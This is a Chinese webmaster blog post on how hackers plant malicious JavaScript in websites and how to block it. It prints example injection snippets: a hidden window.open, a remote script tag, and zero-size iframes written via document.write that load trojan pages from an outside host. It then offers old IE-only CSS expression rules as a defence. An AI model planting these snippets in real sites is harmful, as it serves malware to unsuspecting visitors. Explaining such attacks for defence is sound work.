防止网站被黑客挂马

2021年6月27日19:15:29 评论 1894字阅读6分18秒

防止网站被黑客挂马

最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定。可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因。最后发现是网站被挂马了,导致网站被连累了。在此,给大家简单的介绍下js挂马的方法及如何防止网站被挂马。

一、常见JS挂马方法

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下

window.open("http://www.hs.info/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:

<script src="http://www.hs.info/木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地将木马挂到了对方的网页中了。

提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为

<div style="behaviour: url(http://www.hs.info/木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">

二、如何防止网站被黑客挂马?

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

<head> </head> 之间加入如下代码:

屏蔽script和iframe

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  /*]]>*/
  </style>

单屏蔽script

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>

继续阅读
  • 文本由 发表于 2021年6月27日19:15:29
  • 除非特殊声明,本站文章均为原创,转载请务必保留本文链接
apache、iis6、iis7规则设置防盗链 网站建设

apache、iis6、iis7规则设置防盗链

apache、iis6、iis7规则设置防盗链 盗链是指服务提供商自己不提供服务的内容,通过技术手段绕过其它有利益的最终用户界面(如广告),直接在自己的网站上向最终用户提供其它服务提供商的服务内容,骗...
网站是如何被入侵 网站建设

网站是如何被入侵

网站是如何被入侵? 这篇文章写起来还是蛮难的,难在不容易把整个网站安全体系全部写出来,或者文中应当添些真实案例让大家感觉笔力饱满,用墨充足。鉴于大量站长/网民普遍认为网站是“固若金汤”的安全,毫不担心...
使用CDN后,获取真实IP办法 网站建设

使用CDN后,获取真实IP办法

使用CDN后,获取真实IP办法 虚拟主机登录会员或登录后台管理,一般都会获取用户客户端地址并记录数据库.但相同程序部署我司虚拟主机后,获取客户端地址不是用户真实ip地址或为 "127.0.0.1",可...
Nginx里容易被忽视的 HTTP 响应头 网站建设

Nginx里容易被忽视的 HTTP 响应头

Nginx里容易被忽视的 HTTP 响应头 不知道各位站长们有没有被各类XSS攻击、点击劫持 (ClickJacking) 、 frame 恶意引用等等方式骚扰过,反正是深受其害,百度联盟被封就有这些...
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: